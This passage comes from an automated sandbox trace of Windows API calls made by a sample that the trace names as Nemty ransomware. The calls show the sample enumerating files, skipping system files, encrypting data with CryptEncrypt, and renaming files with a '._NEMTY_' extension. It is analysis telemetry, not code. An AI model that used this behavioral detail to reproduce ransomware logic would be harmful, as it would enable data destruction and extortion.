lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.014] CloseHandle (hObject=0xffffffff) returned 0 [0116.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0116.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0116.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0116.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0116.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0116.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0116.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0116.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png._nemty_kgobjgd_")) returned 0 [0116.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.015] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower.png", cAlternateFileName="")) returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2=".") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="..") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="...") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="windows") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="$RECYCLE.BIN") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="rsa") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="NTDETECT.COM") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="ntldr") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="MSDOS.SYS") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="IO.SYS") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="boot.ini") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="boot.ini") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="ntuser.dat") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="desktop.ini") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="CONFIG.SYS") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="RECYCLER") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="BOOTSECT.BAK") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="bootmgr") returned 1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="programdata") returned -1 [0116.015] lstrcmpiW (lpString1="flower.png", lpString2="appdata") returned 1 [0116.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower.png", lpUsedDefaultChar=0x0) returned 10 [0116.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower.png", lpUsedDefaultChar=0x0) returned 10 [0116.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower.png", lpUsedDefaultChar=0x0) returned 10 [0116.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0116.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower.png", lpUsedDefaultChar=0x0) returned 10 [0116.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0116.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0116.016] Sleep (dwMilliseconds=0x5) [0116.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8ce77f0, dwHighDateTime=0x1d561e7)) [0116.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8ce77f0, dwHighDateTime=0x1d561e7)) [0116.030] GetLastError () returned 0x5 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.031] GetLastError () returned 0x5 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.031] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0116.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="RH+3DQMfkv/3k+Ch5mP+mulqfc9z/N2O1Azu1hpOsgJq8UOqVoBtpfWEVbWgHZuM\r\n7l0cyaXjbIkne3S3NHFdF9UkuSjlqnefm8sMIVUNtAk2FSbzuFTLraigF2sxbctN\r\nqbYBkSAvcIvskFoml3Chz0dmdIfLpy5hg6PSVEm3R21FmVx88ZbTH2ZrpuEaYAeI\r\nbb9NXKwS0i8U4cpKo8k0yyZMFMf1lYVYpQ3hZvlZhp/wBlElLHn/fkAyjySkQNmk\r\nxwvvPDh0Ga/MqYoMTXWENcoJ2hJCj/vqpgAtQQsqPmw1llaQjBcbR25h38C1vin9\r\nb8W1JBCQUv8LaAz1OeBQFQ==\r\n", pcchString=0x653e91c) returned 1 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0116.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.031] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.032] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.052] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 